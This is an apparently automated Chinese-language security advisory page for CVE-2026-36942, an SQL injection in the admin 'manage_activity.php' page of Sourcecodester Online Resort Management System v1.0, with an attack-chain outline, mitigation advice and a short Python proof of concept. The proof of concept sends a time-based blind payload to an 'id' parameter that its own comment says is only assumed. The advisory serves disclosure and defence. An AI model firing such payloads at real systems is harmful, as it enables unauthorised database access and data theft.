IPBUF安全漏洞报告
English
CVE-2026-36942 CVSS 2.7 低危

CVE-2026-36942: Online Resort Management System SQL注入漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-36942
漏洞类型
SQL注入
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Sourcecodester Online Resort Management System

相关标签

SQL注入CVE-2026-36942SourcecodesterWeb安全低危漏洞

漏洞概述

Sourcecodester Online Resort Management System v1.0版本中存在一处SQL注入漏洞。该漏洞位于`/orms/admin/activities/manage_activity.php`文件中。由于该系统在处理用户输入时缺乏有效的过滤,攻击者可以通过构造恶意的SQL语句来操纵后台数据库查询。尽管CVSS评分较低(2.7),但鉴于其需要高权限(PR:H),这通常意味着攻击者需要先获得管理员权限才能利用此漏洞,主要风险在于敏感数据的泄露。

技术细节

该漏洞属于典型的SQL注入漏洞,具体发生在Sourcecodester Online Resort Management System v1.0的`/orms/admin/activities/manage_activity.php`接口。在处理特定参数(如活动ID或管理参数)时,应用程序直接将用户可控的输入拼接到SQL查询语句中,未使用预编译语句(如PDO)或进行严格的输入验证和转义。根据CVSS向量分析,利用该漏洞无需用户交互,网络攻击复杂度低,但前提是攻击者必须具备高权限(管理员角色)。一旦满足条件,攻击者可通过构造UNION SELECT查询或基于布尔/时间的盲注Payload,获取数据库结构,窃取敏感信息如用户哈希、个人数据等。虽然当前评分未涵盖完整性和可用性影响,但在特定数据库配置下,SQL注入可能导致更严重的后果。

攻击链分析

STEP 1
步骤1
攻击者进行侦察,确认目标运行的是Sourcecodester Online Resort Management System v1.0,并定位到管理后台登录页面。
STEP 2
步骤2
攻击者通过暴力破解、钓鱼或其他手段获取高权限管理员账号凭证(满足PR:H要求)。
STEP 3
步骤3
攻击者使用管理员身份登录系统,访问存在漏洞的页面`/orms/admin/activities/manage_activity.php`。
STEP 4
步骤4
攻击者在请求参数(如ID参数)中注入恶意SQL Payload(例如`UNION SELECT`或`SLEEP()`),触发数据库解析错误或延时。
STEP 5
步骤5
数据库返回查询结果或产生时间延迟,攻击者据此提取数据库结构及敏感数据(如用户信息),完成数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Sourcecodester Online Resort Management System v1.0 - SQL Injection # Date: 2026-04-13 # Exploit Author: Analyst # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14586/online-resort-management-system-using-phpmysqli-source-code.html # Version: v1.0 # Tested on: Ubuntu/Apache # CVE: CVE-2026-36942 def check_sqli(target_url, session_cookie): """ Tests for SQL Injection in manage_activity.php. Note: High Privileges (Admin) are required based on CVE details. """ # The vulnerable endpoint full_url = f"{target_url}/orms/admin/activities/manage_activity.php" # Headers with simulated admin session headers = { "Cookie": f"PHPSESSID={session_cookie}", "User-Agent": "Mozilla/5.0 (CVE-Analyzer)" } # Payload: Time-based blind injection (Sleep 5 seconds) # Assuming the parameter is 'id' based on common patterns in this CMS payload = { "id": "1 AND SLEEP(5)-- -" } try: print(f"[*] Sending payload to {full_url}...") response = requests.post(full_url, data=payload, headers=headers, timeout=10) # Check if response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: SQL Injection detected via time delay.") print("[+] The application is vulnerable to SQL Injection on the 'id' parameter.") else: print("[-] Vulnerability not detected or insufficient privileges.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with target URL and valid admin session ID target = "http://localhost" session = "valid_admin_session_id_here" check_sqli(target, session)

影响范围

Sourcecodester Online Resort Management System v1.0

防御指南

临时缓解措施
建议在网络边界部署Web应用防火墙(WAF),针对`manage_activity.php`路径启用SQL注入防护规则。同时,严格限制管理后台的访问IP地址,仅允许受信任的内网IP访问,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表